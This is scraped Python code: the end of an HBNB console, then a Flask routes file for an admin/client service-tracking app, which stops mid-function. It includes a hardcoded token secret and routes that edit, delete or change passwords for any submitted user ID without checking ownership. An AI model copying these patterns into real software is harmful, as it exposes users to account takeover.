HBNBCommand.__classes:\n print(\"** class doesn't exist **\")\n return\n except:\n print(\"** class name missing **\")\n return\n\n try:\n id = args[1]\n key = class_name + \".\" + str(id)\n if key not in storage.all():\n print(\"** no instance found **\")\n return\n except:\n print(\"** instance id missing **\")\n return\n\n try:\n attribute = args[2]\n except:\n print(\"** attribute name missing **\")\n return\n\n try:\n value = args[3]\n except:\n print(\"** value missing **\")\n return\n\n # Properly parse the value\n if \"\\\"\" in value:\n value = value[1:-1]\n else:\n value = HBNBCommand.__types[attribute](value)\n\n obj = storage.all()[key]\n setattr(obj, attribute, value)\n obj.save()\n\n # Help functions\n def help_create(self):\n '''\n Help for the create method\n '''\n print(\"Creates a new instance of BaseModel,\"\n \"saves it (to the JSON file)and prints the id. Ex:\"\n \"$ create BaseModel\")\n\n def help_show(self):\n '''\n Help for the show method\n '''\n print(\"show - Prints the string representation of an instance\\\n based on the class name and id.\\\n Ex: $ show BaseModel 1234-1234-1234.\")\n\n def help_destroy(self):\n '''\n Help for the destroy\n '''\n print(\"destroy - Deletes an instance based on the class name and id\\\n (save the change into the JSON file).\\\n Ex: $ destroy BaseModel 1234-1234-1234.\\\n help_EOF = help_quit\")\n\n def help_all(self):\n '''\n Help for the all method\n '''\n print(\"all - Prints all string representation of all instances\\\n based or not on the class name. Ex: $ all BaseModel or $ all.\")\n\n def help_update(self):\n '''\n Help for the update method\n '''\n print(\" Updates an instance based on the class name and id\\\n by adding or updating attribute\\\n (save the change into the JSON file).\\\n Ex: $ update BaseModel 1234-1234-1234\\\n email 'aibnb@holbertonschool.com'.\")\n\n def help_quit(self):\n '''\n Implements help for quit method\n '''\n print(\"Quit command to exit the program\")\n print()\n\n def help_EOF(self):\n '''\n Implements help for quit method\n '''\n print(\"Quit command to exit the program\")\n print()\n\nif __name__ == '__main__':\n HBNBCommand().cmdloop()\n","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":8290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"587743870","text":"import json\nimport os\nimport time\nimport datetime\n\nfrom flask import render_template, url_for, flash, redirect, request, jsonify, send_from_directory\nfrom manage import app, db, bcrypt, account, TOKEN_EXPIRED, PASSWORD_TOKEN_EXPIRED\nfrom manage.forms import RegisterationForm, LoginForm\nfrom manage.models import User, Service, ClientItem, AdminItem, UserService, AItem, CItem, Country\nfrom flask_login import login_user, current_user, logout_user, login_required\nfrom itsdangerous import URLSafeTimedSerializer, SignatureExpired\nfrom werkzeug import secure_filename\n\nsafe = URLSafeTimedSerializer(\"this is secret!\")\ndef check_admin():\n if current_user.is_authenticated:\n role = current_user.role\n if role == 1:\n return False\n return True\n\ndef check_client():\n if current_user.is_authenticated:\n role = current_user.role\n if role == 0:\n return False\n return True\n\n@app.route(\"/page-error\")\ndef page_error():\n return render_template('500.html')\n\n@app.context_processor\ndef check_service():\n def check_active(user_service_id):\n user_service = UserService.query.filter_by(id=user_service_id).first()\n a_items = user_service.a_items\n flag = False\n for a_item in a_items:\n if a_item.finished == False:\n flag = True\n return flag\n def check_user_active(user_id):\n user = User.query.filter_by(id=user_id).first()\n user_services =user.user_services\n flag = False\n for user_service in user_services:\n a_items = user_service.a_items\n for a_item in a_items:\n if a_item.finished == False:\n flag = True\n return flag\n return dict(check_active=check_active,check_user_active=check_user_active)\n\n\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n if current_user.is_authenticated:\n if current_user.role == 1:\n completed_task = 0\n incom_count = 0\n clients = User.query.filter_by(role=0)\n for client in clients:\n user_services = client.user_services\n for user_service in user_services:\n c_items = user_service.c_items\n flag = False\n for c_item in c_items:\n if c_item.finished == False:\n flag = True\n incom_count += 1\n if flag == True:\n completed_task += 1\n if completed_task > 0:\n completed_task -= 1\n if incom_count > 0:\n incom_count -= 1\n\n return render_template('admin/home.html',active = completed_task, incom=incom_count,clients=clients)\n else:\n current_user_id = current_user.id\n user = User.query.filter_by(id=current_user_id).first()\n user_services = user.user_services\n completed_task = 0\n incom_count = 0\n for user_service in user_services:\n c_items = user_service.c_items\n flag = False\n for c_item in c_items:\n if c_item.finished == False:\n flag = True\n incom_count += 1\n if flag == True:\n completed_task += 1\n if completed_task > 0:\n completed_task -= 1\n if incom_count > 0:\n incom_count -= 1\n\n\n\n return render_template('client/home.html',active = completed_task, incom=incom_count, client= user)\n else:\n return redirect(url_for('login'))\n \n# register user\n@app.route(\"/register\", methods=['GET','POST'])\ndef register():\n form = RegisterationForm()\n if form.validate_on_submit():\n already_user = User.query.filter_by(email=form.username.data).first()\n if already_user:\n flash('That user was taken. Please choose a different one!', 'danger')\n else:\n hashed_password = bcrypt.generate_password_hash(form.password.data).decode('utf-8')\n user = User(email=form.username.data, password = hashed_password)\n db.session.add(user)\n db.session.commit()\n flash(f'Account created for {form.username.data}!', 'success')\n return redirect(url_for('home'))\n return render_template('register.html', title='Register', form=form)\n\n#send verificaion code to client\ndef send_message(link,email):\n if not account.is_authenticated:\n account.authenticate(scopes=['basic','message_all'])\n mailbox = account.mailbox()\n inbox = mailbox.inbox_folder()\n m = mailbox.new_message()\n m.to.add(email)\n m.subject = 'Please verify your email'\n m.body = 'Hi the verification link is : ' + link + ' \\n This link will be expired after 10 hours'\n m.send()\n\n# login function\n@app.route(\"/login\", methods=['GET','POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('home'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.username.data).first()\n if user and bcrypt.check_password_hash(user.password, form.password.data):\n if user.verified == True:\n login_user(user, remember=form.remember.data)\n next_page = request.args.get('next')\n return redirect(url_for(next_page)) if next_page else redirect(url_for('home'))\n else:\n flash('You need to confirm your email!','danger')\n else:\n flash('Login Unsuccessful. Please check username and password', 'danger')\n\n return render_template('login.html', title='Login', form=form)\n\n# resend verification to client\n@app.route(\"/send-verification/\",methods=['POST'])\n@login_required\ndef send_verification(email):\n res = {}\n try:\n user = User.query.filter_by(email=email).first()\n if user:\n token = safe.dumps(email, salt='email-confirm')\n link = url_for('confirm_email', token=token, _external=True)\n send_message(link,user.email)\n res['response'] = 'success'\n else:\n res['response'] = 'no user'\n except TimeoutError:\n res['response'] = 'error'\n return jsonify(res)\n \n\n@app.route(\"/confirm-email/\")\ndef confirm_email(token):\n try:\n email = safe.loads(token, salt='email-confirm', max_age=TOKEN_EXPIRED)\n print(email)\n user = User.query.filter_by(email=email).first()\n if user == None:\n flash('You are not a user !', 'danger')\n return redirect(url_for('login'))\n\n if user.verified == True:\n flash('already confirmed! ', 'warning')\n return redirect(url_for('login'))\n\n user.verified = True\n db.session.add(user)\n db.session.commit()\n flash('Successfully confirmed! ', 'success')\n return redirect(url_for('reset_password', user_id=user.id,token=token))\n except SignatureExpired:\n flash('Token expired! Please contact to administrator', 'danger')\n return redirect(url_for('login'))\n\n@app.route(\"/forgot-password\")\ndef forgot_password():\n return render_template('forgot.html')\n\n#send verificaion link for reset password\ndef send_reset_message(link,email):\n if not account.is_authenticated:\n account.authenticate(scopes=['basic','message_all'])\n mailbox = account.mailbox()\n m = mailbox.new_message()\n m.to.add(email)\n m.subject = 'Please follow this link'\n m.body = 'Hi the reset link is : ' + link + ' \\n This link will be expired after 1 minute'\n m.send()\n\n@app.route(\"/confirm-reset/\")\ndef confirm_reset(token):\n try:\n email = safe.loads(token, salt='email-confirm', max_age=PASSWORD_TOKEN_EXPIRED)\n print(email)\n user = User.query.filter_by(email=email).first()\n if user == None or user.verified != True:\n flash('You are not a user !', 'danger')\n return redirect(url_for('login'))\n\n return redirect(url_for('reset_password', user_id=user.id, token=token))\n except SignatureExpired:\n flash('Token expired! Please resend to your email', 'danger')\n return redirect(url_for('login'))\n\n@app.route(\"/send-reset-password\",methods=['POST'])\ndef send_reset_password():\n email = request.form['email']\n user = User.query.filter_by(email=email).first()\n if user:\n token = safe.dumps(email, salt='email-confirm')\n link = url_for('confirm_reset', token=token, _external=True)\n send_reset_message(link,user.email)\n flash('Successfully sent! please go to your email inbox and follow the link','success')\n else:\n flash('You are not a user !','danger')\n return redirect(url_for('forgot_password'))\n\n@app.route(\"/send-reset-password-email\",methods=['POST'])\ndef send_reset_password_email():\n user_id = request.form['user_id']\n res = {}\n try:\n user = User.query.filter_by(id=user_id).first()\n if user:\n token = safe.dumps(user.email, salt='email-confirm')\n link = url_for('confirm_reset', token=token, _external=True)\n send_reset_message(link,user.email)\n else:\n flash('You are not a user !','danger')\n res['response'] = 'success'\n except Exception:\n res['response'] = 'error'\n return jsonify(res)\n\n#logout function\n@app.route(\"/logout\")\ndef logout():\n logout_user()\n return redirect(url_for('home'))\n\n@app.route(\"/reset-password//\",methods=['GET','POST'])\ndef reset_password(user_id,token):\n if request.method == 'GET':\n return render_template('reset.html',user_id=user_id,token=token)\n else:\n cur_id = request.form['user_id']\n try:\n email = safe.loads(token, salt='email-confirm', max_age=PASSWORD_TOKEN_EXPIRED)\n print(email)\n user = User.query.filter_by(email=email).first()\n if user == None or user.verified != True:\n flash('You are not a user !', 'danger')\n return redirect(url_for('login'))\n new_password = request.form['newPassword']\n confirm_password = request.form['confirmPassword']\n if new_password != confirm_password:\n flash('Confirm Password doesn\\'t match', 'danger')\n redirect(url_for('reset_password', user_id=cur_id,token=token))\n hashed_password = bcrypt.generate_password_hash(new_password).decode('utf-8')\n user.password = hashed_password\n db.session.commit()\n\n except SignatureExpired:\n flash('token expired!', 'danger')\n return redirect(url_for('login'))\n\n return redirect(url_for('login'))\n\n@app.route(\"/a-item-detail\",methods=['POST'])\n@login_required\ndef a_item_detail():\n item_id = request.form['item_id']\n a_item = AItem.query.filter_by(id=item_id).first()\n res = {}\n res['form_text'] = a_item.form_text\n res['filename'] = a_item.filename\n date_time = a_item.date\n date_str = ''\n if date_time:\n date_str = date_time.strftime(\"%Y-%m-%dT%H:%M\")\n res['date'] = date_str\n res['checked'] = a_item.checked\n\n\n user_service_id = a_item.user_service_id\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service = Service.query.filter_by(id=user_service.service_id).first()\n admin_items = service.admin_items\n for admin_item in admin_items:\n if admin_item.name == a_item.name and admin_item.function == a_item.function:\n matched_id = admin_item.matched_item\n if matched_id != 0:\n client_item = ClientItem.query.filter_by(id=matched_id).first()\n c_item = CItem.query.filter_by(name=client_item.name).first()\n res['client_form_text'] = c_item.form_text\n res['client_filename'] = c_item.filename\n date_str = ''\n if c_item.date:\n date_str = c_item.date.strftime(\"%Y-%m-%dT%H:%M\")\n res['client_date'] = date_str\n res['client_checked'] = c_item.checked\n\n return jsonify(res)\n\n@app.route(\"/c-item-detail\",methods=['POST'])\n@login_required\ndef c_item_detail():\n item_id = request.form['item_id']\n c_item = CItem.query.filter_by(id=item_id).first()\n res = {}\n res['form_text'] = c_item.form_text\n res['filename'] = c_item.filename\n date_time = c_item.date\n date_str = ''\n if date_time:\n date_str = date_time.strftime(\"%Y-%m-%dT%H:%M\")\n res['date'] = date_str\n res['checked'] = c_item.checked\n\n\n user_service_id = c_item.user_service_id\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service = Service.query.filter_by(id=user_service.service_id).first()\n client_items = service.client_items\n for client_item in client_items:\n if client_item.name == c_item.name and client_item.function == c_item.function:\n matched_id = client_item.matched_item\n if matched_id != 0:\n admin_item = AdminItem.query.filter_by(id=matched_id).first()\n a_item = AItem.query.filter_by(name=admin_item.name).first()\n res['admin_form_text'] = a_item.form_text\n res['admin_filename'] = a_item.filename\n date_str = ''\n if a_item.date:\n date_str = a_item.date.strftime(\"%Y-%m-%dT%H:%M\")\n res['admin_date'] = date_str\n res['admin_checked'] = a_item.checked\n\n return jsonify(res)\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']\n\n@app.route(\"/item-finish\",methods=['POST'])\n@login_required\ndef item_finish():\n res = {}\n now = datetime.datetime.now()\n try:\n item_id = request.form['item_id']\n mode = request.form['mode']\n value = request.form['value']\n if int(mode) == 0:\n item = AItem.query.filter_by(id=item_id).first()\n c_item = get_matched_c_item(item_id,item.user_service_id)\n if int(value) == 0:\n item.finished = False\n if c_item != '':\n c_item.finished = False\n else:\n item.finished = True\n item.finished_time = now\n if c_item !='':\n c_item.finished = True\n c_item.finished_time = now\n\n else:\n item = CItem.query.filter_by(id=item_id).first()\n a_item = get_matched_a_item(item_id,item.user_service_id)\n if int(value) == 0:\n item.finished = False\n if a_item:\n a_item.finished = False\n else:\n item.finished = True\n item.finished_time = now\n if a_item:\n a_item.finished = True\n a_item.finished_time = now\n db.session.commit()\n res['response'] = 'success'\n except TimeoutError:\n db.session.commit()\n res['response'] = 'error'\n return jsonify(res)\n\n@app.route(\"/set-date\",methods=['POST'])\n@login_required\ndef set_date():\n res = {}\n now = datetime.datetime.now()\n try:\n item_id = request.form['item_id']\n mode = request.form['mode']\n value = request.form['value']\n date_obj = datetime.datetime.strptime(value, '%Y-%m-%d')\n if int(mode) == 0:\n item = AItem.query.filter_by(id=item_id).first()\n item.date =date_obj\n item.finished =True\n item.finished_time =now\n c_item = get_matched_c_item(item_id,item.user_service_id)\n if c_item:\n c_item.date = date_obj\n c_item.finished = True\n c_item.finished_time = now\n else:\n item = CItem.query.filter_by(id=item_id).first()\n item.date =date_obj\n item.finished =True\n item.finished_time =now\n a_item = get_matched_a_item(item_id, item.user_service_id)\n if a_item:\n a_item.date = date_obj\n a_item.finished = True\n a_item.finished_time = now\n db.session.commit()\n res['response'] = 'success'\n except Exception:\n res['response'] = 'error'\n return jsonify(res)\n\ndef get_matched_a_item(item_id,user_service_id):\n c_item = CItem.query.filter_by(id=item_id).first()\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service_id = user_service.service_id\n service = Service.query.filter_by(id=service_id).first()\n if service:\n for client_item in service.client_items:\n if client_item.name == c_item.name:\n admin_item_id = client_item.matched_item\n admin_item = AdminItem.query.filter_by(id=admin_item_id).first()\n if admin_item:\n for a_item in user_service.a_items:\n if a_item.name == admin_item.name:\n print(a_item)\n return a_item\n return ''\n\ndef get_matched_c_item(item_id,user_service_id):\n a_item = AItem.query.filter_by(id=item_id).first()\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service_id = user_service.service_id\n service = Service.query.filter_by(id=service_id).first()\n if service:\n for admin_item in service.admin_items:\n if admin_item.name == a_item.name:\n client_item_id = admin_item.matched_item\n client_item = ClientItem.query.filter_by(id=client_item_id).first()\n if client_item:\n for c_item in user_service.c_items:\n if c_item.name == client_item.name:\n print(c_item)\n return c_item\n return ''\n\n\n@app.route(\"/set-file\",methods=['POST'])\n@login_required\ndef set_file():\n res = {}\n now = datetime.datetime.now()\n try:\n user_service_id = request.form['user_service_id']\n item_id = request.form['item_id']\n mode = request.form['mode']\n file = request.files['file']\n item = None\n if int(mode) == 0:\n item = AItem.query.filter_by(id=item_id).first()\n else:\n item = CItem.query.filter_by(id=item_id).first()\n\n if file and allowed_file(file.filename):\n if item.filename:\n old_file = os.path.join(app.config['UPLOADS_PATH'], item.filename)\n if os.path.exists(old_file):\n os.remove(old_file)\n filename = secure_filename(file.filename)\n file_name, file_extension = os.path.splitext(filename)\n timestr = time.strftime(\"%Y%m%d-%H%M%S\") + \"\" + file_extension\n file.save(os.path.join(app.config['UPLOADS_PATH'], timestr))\n item.filename = timestr\n item.finished = True\n item.finished_time = now\n if int(mode) == 0:\n matched_item = get_matched_c_item(item_id,user_service_id)\n if matched_item.filename:\n old_file = os.path.join(app.config['UPLOADS_PATH'], matched_item.filename)\n if os.path.exists(old_file):\n os.remove(old_file)\n matched_item.filename = timestr\n matched_item.finished = True\n matched_item.finished_time = now\n else:\n matched_item = get_matched_a_item(item_id,user_service_id)\n if matched_item.filename:\n old_file = os.path.join(app.config['UPLOADS_PATH'], matched_item.filename)\n if os.path.exists(old_file):\n os.remove(old_file)\n\n matched_item.filename = timestr\n matched_item.finished = True\n matched_item.finished_time = now\n\n print(timestr)\n\n db.session.commit()\n res['response'] = 'success'\n except TimeoutError:\n res['response'] = 'error'\n return jsonify(res)\n\n@app.route('/download/', methods=['GET', 'POST'])\n@login_required\ndef download_file(filename):\n return send_from_directory(app.config['UPLOADS_PATH'], filename=filename, as_attachment=True)\n\n@app.route('/download-a-file/', methods=['GET', 'POST'])\n@login_required\ndef download_file_by_a_id(item_id):\n item = AItem.query.filter_by(id=item_id).first()\n filename = item.filename\n if filename:\n return send_from_directory(app.config['UPLOADS_PATH'], filename=filename, as_attachment=True)\n else:\n flash(\"there is no file !\", \"warning\")\n return redirect(url_for('home'))\n\n@app.route('/download-c-file/', methods=['GET', 'POST'])\n@login_required\ndef download_file_by_c_id(item_id):\n item = CItem.query.filter_by(id=item_id).first()\n filename = item.filename\n if filename:\n return send_from_directory(app.config['UPLOADS_PATH'], filename=filename, as_attachment=True)\n else:\n flash(\"there is no file !\", \"warning\")\n return redirect(url_for('home'))\n\n@app.context_processor\ndef get_matched_item():\n def get_matched_a_item(item_id,user_service_id):\n c_item = CItem.query.filter_by(id=item_id).first()\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service_id = user_service.service_id\n service = Service.query.filter_by(id=service_id).first()\n if service:\n for client_item in service.client_items:\n if client_item.name == c_item.name:\n admin_item_id = client_item.matched_item\n if admin_item_id != 0:\n admin_item = AdminItem.query.filter_by(id=admin_item_id).first()\n if admin_item:\n for a_item in user_service.a_items:\n if a_item.name == admin_item.name:\n print(a_item)\n return a_item\n return ''\n\n def get_matched_c_item(item_id,user_service_id):\n a_item = AItem.query.filter_by(id=item_id).first()\n user_service = UserService.query.filter_by(id=user_service_id).first()\n service_id = user_service.service_id\n service = Service.query.filter_by(id=service_id).first()\n if service:\n for admin_item in service.admin_items:\n if admin_item.name == a_item.name:\n client_item_id = admin_item.matched_item\n if client_item_id != 0:\n client_item = ClientItem.query.filter_by(id=client_item_id).first()\n if client_item:\n for c_item in user_service.c_items:\n if c_item.name == client_item.name:\n print(c_item)\n return c_item\n return ''\n return dict(get_matched_a_item=get_matched_a_item,get_matched_c_item=get_matched_c_item)\n\n@app.route(\"/client-management\")\n@login_required\ndef client_management():\n if(check_admin()):\n return redirect(url_for('page_error'))\n clients = User.query.filter_by(role=0)\n services = Service.query.all()\n return render_template(\"admin/client-manage.html\",clients=clients, services=services)\n\n@app.route(\"/add-client\", methods=['POST'])\n@login_required\ndef add_client():\n if(check_admin()):\n return redirect(url_for('page_error'))\n name = request.form['name']\n email = request.form['email']\n company = ''\n tel = ''\n try:\n company = request.form['company']\n except Exception:\n pass\n try:\n tel = request.form['tel']\n except Exception:\n pass\n try:\n user = User(name = name,email = email,company = company,tel = tel, password = \" \")\n db.session.add(user)\n db.session.commit()\n flash(\"successfuly created !\", \"success\")\n send_verification(user.email)\n except Exception:\n flash(\"put different user name !\", \"danger\")\n\n return redirect(url_for('client_management'))\n\n\n@app.route(\"/update-client\", methods=['POST'])\n@login_required\ndef update_client():\n cur_client = request.form['cur_client']\n name = request.form['name']\n email = request.form['email']\n company = ''\n tel = ''\n try:\n company = request.form['company']\n except Exception:\n pass\n try:\n tel = request.form['tel']\n except Exception:\n pass\n\n user = User.query.filter_by(id=cur_client).first()\n user.name = name\n user.email = email\n user.company = company\n user.tel = tel\n\n db.session.add(user)\n db.session.commit()\n flash(\"successfuly udpated !\", \"success\")\n\n return redirect(url_for('client_management'))\n\n@app.route(\"/detail-user\", methods=['POST'])\n@login_required\ndef detail_user():\n client_id = request.form['client_id']\n client = User.query.filter_by(id=client_id).first()\n res = {}\n if client:\n res['name'] = client.name\n res['email'] = client.email\n res['company'] = client.company\n res['tel'] = client.tel\n res['address1'] = client.address1\n res['address2'] = client.address2\n res['city'] = client.city\n res['state'] = client.state\n res['zip'] = client.zip\n res['country'] = client.country\n\n return jsonify(res)\n\n@app.route(\"/delete-client\", methods=['POST'])\n@login_required\ndef delete_client():\n res = {}\n try:\n client_id = request.form['client_id']\n user = User.query.filter_by(id=client_id).first()\n user_services = user.user_services\n for user_service in user_services:\n user_service.delete()\n User.query.filter_by(id=int(client_id)).delete()\n db.session.commit()\n res['response'] = 'success'\n flash(\"successfuly deleted !\", \"success\")\n except Exception:\n res['response'] = 'error'\n return jsonify(res)\n\n@app.route(\"/service-management\")\n@login_required\ndef service_management():\n if(check_admin()):\n return redirect(url_for('page_error'))\n services = Service.query.all()\n return render_template(\"admin/service-manage.html\", services=services)\n\n@app.route(\"/edit-service/\")\n@login_required\ndef edit_service(service_id):\n if(check_admin()):\n return redirect(url_for('page_error'))\n\n service = Service.query.filter_by(id=service_id).first()\n admin_items = None\n client_items = None\n if service:\n admin_items = service.admin_items\n client_items = service.client_items\n print(admin_items)\n print(client_items)\n return render_template(\"admin/service-edit.html\", service=service,admin_items=admin_items,client_items=client_items)\n\n@app.route(\"/add-service\", methods=['POST'])\n@login_required\ndef add_service():\n if(check_admin()):\n return redirect(url_for('page_error'))\n name = request.form['name']\n description = ''\n try:\n description = request.form['description']\n except Exception:\n pass\n \n service = Service(name=name,description=description)\n db.session.add(service)\n db.session.commit()\n \n print(service.id)\n print(service.name)\n print(service.description)\n \n return redirect(url_for('edit_service',service_id = service.id))\n\n#add new item on service\n@app.route(\"/add-item\", methods=['POST'])\n@login_required\ndef add_item():\n if(check_admin()):\n return redirect(url_for('page_error'))\n service_id = request.form['cur_service']\n name = request.form['name']\n function = request.form['type']\n mode = int(request.form['mode'])\n service = Service.query.filter_by(id=service_id).first()\n user_services = service.user_services\n if mode == 0:\n admin_item = AdminItem(name = name,item_type=True, service=service,function=function)\n db.session.add(admin_item)\n db.session.commit()\n for user_service in user_services:\n a_item = AItem(name=admin_item.name, item_type=admin_item.item_type, function=admin_item.function)\n user_service.a_items.append(a_item)\n db.session.add(a_item)\n db.session.commit()\n elif mode == 1:\n client_item = ClientItem(name = name,item_type=True, service=service,function=function)\n db.session.add(client_item)\n db.session.commit()\n for user_service in user_services:\n c_item = CItem(name=client_item.name, item_type=client_item.item_type, function=client_item.function)\n user_service.c_items.append(c_item)\n db.session.add(c_item)\n db.session.commit()\n elif mode == 2:\n admin_item = AdminItem(name = name,item_type=False, service=service,function=function)\n db.session.add(admin_item)\n db.session.commit()\n for user_service in user_services:\n a_item = AItem(name=admin_item.name, item_type=admin_item.item_type, function=admin_item.function)\n user_service.a_items.append(a_item)\n db.session.add(a_item)\n db.session.commit()\n elif mode == 3:\n client_item = ClientItem(name = name,item_type=False, service=service,function=function)\n db.session.add(client_item)\n db.session.commit()\n for user_service in user_services:\n c_item = CItem(name=client_item.name, item_type=client_item.item_type, function=client_item.function)\n user_service.c_items.append(c_item)\n db.session.add(c_item)\n db.session.commit()\n\n return redirect(url_for('edit_service',service_id = service_id))\n\n#match admin and client items\n@app.route(\"/join-item\", methods=['POST'])\n@login_required\ndef join_item():\n res = {}\n try:\n admin_id = request.form['admin_id']\n client_id = request.form['client_id']\n admin_item = AdminItem.query.filter_by(id=admin_id).first()\n admin_item.matched_item = client_id\n db.session.add(admin_item)\n db.session.commit()\n client_item = ClientItem.query.filter_by(id=client_id).first()\n client_item.matched_item = admin_id\n db.session.add(client_item)\n db.session.commit()\n res['response'] = 'success'\n except Exception:\n res['response'] = 'error'\n return jsonify(res)\n\n@app.route(\"/unjoin-item\", methods=['POST'])\n@login_required\ndef unjoin_item():\n res = {}\n try:\n admin_id = request.form['admin_id']\n client_id = request.form['client_id']\n admin_item = AdminItem.query.filter_by(id=admin_id).first()\n admin_item.matched_item = 0\n db.session.add(admin_item)\n db.session.commit()\n client_item = ClientItem.query.filter_by(id=client_id).first()\n client_item.matched_item = 0\n db.session.add(client_item)\n db.session.commit()\n res['response'] = 'success'\n except Exception:\n res['response'] = 'error'\n return jsonify(res)\n\n@app.route(\"/detail-item\", methods=['POST'])\n@login_required\ndef detail_item():\n item_id = request.form['item_id']\n mode = request.form['mode']\n res={}\n item = None\n if int(mode) == 0:\n item = AdminItem.query.filter_by(id=item_id).first()\n else:\n item = ClientItem.query.filter_by(id=item_id).first()\n if item:\n res['name'] = item.name\n res['function'] = item.function\n return jsonify(res)\n\n@app.route(\"/edit-item\", methods=['POST'])\n@login_required\ndef edit_item():\n service_id = request.form['cur_service']\n mode = request.form['mode']\n item_id = request.form['item_id']\n item_mode = request.form['item_mode']\n item = None\n if int(item_mode) == 0:\n item = AdminItem.query.filter_by(id=item_id).first()\n else:\n item = ClientItem.query.filter_by(id=item_id).first()\n\n if int(mode) == 0:\n name = request.form['name']\n type = request.form['type']\n item.name = name\n item.type = type\n db.session.commit()\n else:\n matched_id = item.matched_item\n if int(item_mode) == 0:\n matched_item = ClientItem.query.filter_by(id=matched_id).first()\n if matched_item:\n matched_item.matched_item = 0\n AdminItem.query.filter_by(id=item_id).delete()\n else:\n matched_item = AdminItem.query.filter_by(id=matched_id).first()\n if matched_item:\n matched_item.matched_item = 0\n ClientItem.query.filter_by(id=item_id).delete()\n db.session.commit()\n return redirect(url_for('edit_service',service_id=service_id))\n\n@app.route(\"/delete-service\", methods=['POST'])\n@login_required\ndef delete_service():\n if(check_admin()):\n return redirect(url_for('page_error'))\n res = {}\n try:\n service_id = request.form['service_id']\n service = Service.query.filter_by(id=service_id).first()\n admin_items = service.admin_items\n client_items = service.client_items\n user_services = service.user_services\n for admin_item in admin_items:\n db.session.delete(admin_item)\n for client_item in client_items:\n db.session.delete(client_item)\n for user_service in user_services:\n a_items = user_service.a_items\n for a_item in a_items:\n db.session.delete(a_item)\n c_items = user_service.c_items\n for c_item in c_items:\n db.session.delete(c_item)\n db.session.delete(user_service)\n Service.query.filter_by(id=service_id).delete()\n db.session.commit()\n res['response'] = 'success'\n except TimeoutError:\n res['response'] = 'error'\n return jsonify(res)\n\n\ndef check_service_active(user_service_id):\n user_service = UserService.query.filter_by(id=user_service_id).first()\n a_items = user_service.a_items\n flag = False\n for a_item in a_items:\n if a_item.finished == False:\n flag = True\n return flag\n\n@app.route(\"/assign-service\", methods=['POST'])\n@login_required\ndef assign_service():\n if(check_admin()):\n return redirect(url_for('page_error'))\n res = {}\n service_id = request.form['service_id']\n client_id = request.form['client_id']\n project = request.form['project']\n user = User.query.filter_by(id=client_id).first()\n service = Service.query.filter_by(id=int(service_id)).first()\n admin_items = service.admin_items\n client_items = service.client_items\n\n user_service = UserService(name=service.name, user_id=user.id, service_id=service.id,project_name=project)\n db.session.add(user_service)\n db.session.commit()\n\n user.user_services.append(user_service)\n db.session.commit()\n service.user_services.append(user_service)\n db.session.commit()\n\n for admin_item in admin_items:\n a_item = AItem(name=admin_item.name, item_type=admin_item.item_type, function=admin_item.function)\n user_service.a_items.append(a_item)\n db.session.add(a_item)\n db.session.commit()\n for client_item in client_items:\n c_item = CItem(name=client_item.name, item_type=client_item.item_type, function=client_item.function)\n user_service.c_items.append(c_item)\n db.session.add(c_item)\n db.session.commit()\n res['response'] = 'success'\n flash(\"successfully added !\", \"success\")\n\n return jsonify(res)\n\n@app.route(\"/admin-management\")\n@login_required\ndef admin_management():\n if(check_admin()):\n return redirect(url_for('page_error'))\n admins = User.query.filter_by(role=1)\n return render_template(\"admin/admin-manage.html\",admins=admins)\n\n@app.route(\"/send-invite\", methods=['POST'])\n@login_required\ndef send_invite():\n if(check_admin()):\n return redirect(url_for('page_error'))\n name = request.form['name']\n email = request.form['email']\n company = ''\n tel = ''\n try:\n company = request.form['company']\n except Exception:\n pass\n try:\n tel = request.form['tel']\n except Exception:\n pass\n\n user = User(name=name, email=email, company=company, tel=tel,password=\"\", role=1)\n db.session.add(user)\n db.session.commit()\n send_verification(user.email)\n flash(\"successfuly invited !\", \"success\")\n\n return redirect(url_for('admin_management'))\n\n@app.route(\"/resend-invite\", methods=['POST'])\n@login_required\ndef resend_invite():\n if(check_admin()):\n return redirect(url_for('page_error'))\n admin_id = request.form['admin_id']\n admin = User.query.filter_by(id=admin_id).first()\n send_verification(admin.email)\n res = {}\n res['response'] = 'success'\n\n return jsonify(res)\n\n@app.route(\"/client-detail-page\")\n@login_required\ndef client_detail_page():\n if(check_client()):\n return redirect(url_for('page_error'))\n client = User.query.filter_by(id=current_user.id).first()\n country_name = ''\n country = client.country\n if country:\n country_obj = Country.query.filter_by(id=country).first()\n country_name = country_obj.name\n countries = Country.query.all()\n\n return render_template('client/client-detail.html',countries=countries,country_name=country_name, client = client)\n\n@app.route(\"/save-detail\", methods=['POST'])\n@login_required\ndef save_detail():\n try:\n client_id = request.form['clientID']\n name = request.form['fullName']\n address1 = request.form['address1']\n address2 = request.form['address2']\n city = request.form['city']\n state = request.form['state']\n zip = request.form['zip']\n country=''\n if 'country' in request.form:\n country = request.form['country']\n\n user = User.query.filter_by(id=client_id).first()\n user.name = name\n user.address1 = address1\n user.address2 = address2\n user.city = city\n user.state = state\n user.zip = zip\n user.country = country\n\n db.session.commit()\n except Exception:\n pass\n return redirect(url_for('client_detail_page'))\n\n@app.route(\"/change-password\", methods=['POST'])\n@login_required\ndef change_password():\n cur_id = request.form['clientID']\n user = User.query.filter_by(id=cur_id).first()\n cur_password = request.form['curPassword']\n new_password = request.form['newPassword']\n confirm_password = request.form['confirmPassword']\n if new_password != confirm_password:\n flash('Confirm Password doesn\\'t match', 'danger')\n if bcrypt.check_password_hash(user.password, cur_password):\n hashed_password = bcrypt.generate_password_hash(new_password).decode('utf-8')\n user.password = hashed_password\n db.session.commit()\n else:\n flash('Wrong Password!', 'danger')\n return redirect(url_for('client_detail_page'))\n\n@app.route(\"/report-page\")\n@login_required\ndef report_page():\n if(check_client()):\n return redirect(url_for('page_error'))\n user = User.query.filter_by(id=current_user.id).first()\n user_services = user.user_services\n services = []\n for user_service in user_services:\n service_item ={}\n service_item['user_service'] = user_service.name\n service_item['project'] = user_service.project_name\n 